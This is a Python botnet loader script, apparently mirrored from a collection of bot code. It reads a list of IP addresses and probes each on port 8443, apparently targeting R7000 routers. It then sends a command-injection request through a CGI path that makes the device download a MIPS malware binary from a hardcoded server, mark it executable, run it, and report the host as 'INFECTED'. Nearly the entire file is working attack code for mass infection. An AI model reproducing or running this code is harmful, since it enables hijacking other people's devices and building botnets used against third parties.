mirror of https://github.com/threatland/TL-BOTS
47 lines
1.2 KiB
Python
47 lines
1.2 KiB
Python
import threading, random, socket, time, sys, requests, re
|
|
|
|
|
|
if len(sys.argv) < 2:
|
|
print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
|
|
sys.exit()
|
|
|
|
server_ip = "68.183.144.178"
|
|
port = 8443
|
|
# CONFIGURE URL LINE 33 MIPS BINARY DEFAULT: "/AB4g5/Josho.Mips"
|
|
class r7000(threading.Thread):
|
|
def __init__ (self, ip):
|
|
threading.Thread.__init__(self)
|
|
self.ip = str(ip).rstrip('\n')
|
|
def run(self):
|
|
try:
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.settimeout(4)
|
|
s.connect((self.ip, port))
|
|
s.close()
|
|
fail = 0
|
|
except:
|
|
fail = 1
|
|
pass
|
|
try:
|
|
if fail:
|
|
pass
|
|
else:
|
|
r = requests.get("http://"+self.ip+":8443/cgi-bin/;cd${IFS}/var/tmp;${IFS}wget${IFS}http://"+server_ip+"//AB4g5/Josho.Mips;${IFS}chmod${IFS}777${IFS}/AB4g5/Josho.Mips;${IFS}.//AB4g5/Josho.Mips;${IFS}rm${IFS}-rf${IFS}/AB4g5/Josho.Mips", timeout=12)
|
|
if r.status_code == 200 and "Not Found" not in r.text:
|
|
print "INFECTED "+self.ip
|
|
elif r.status_code == 404:
|
|
sys.exit()
|
|
except:
|
|
pass
|
|
except Exception as e:
|
|
pass
|
|
|
|
ips = open(sys.argv[1], "r").readlines()
|
|
for ip in ips:
|
|
try:
|
|
t = r7000(ip)
|
|
t.start()
|
|
time.sleep(0.01)
|
|
except Exception as e:
|
|
pass |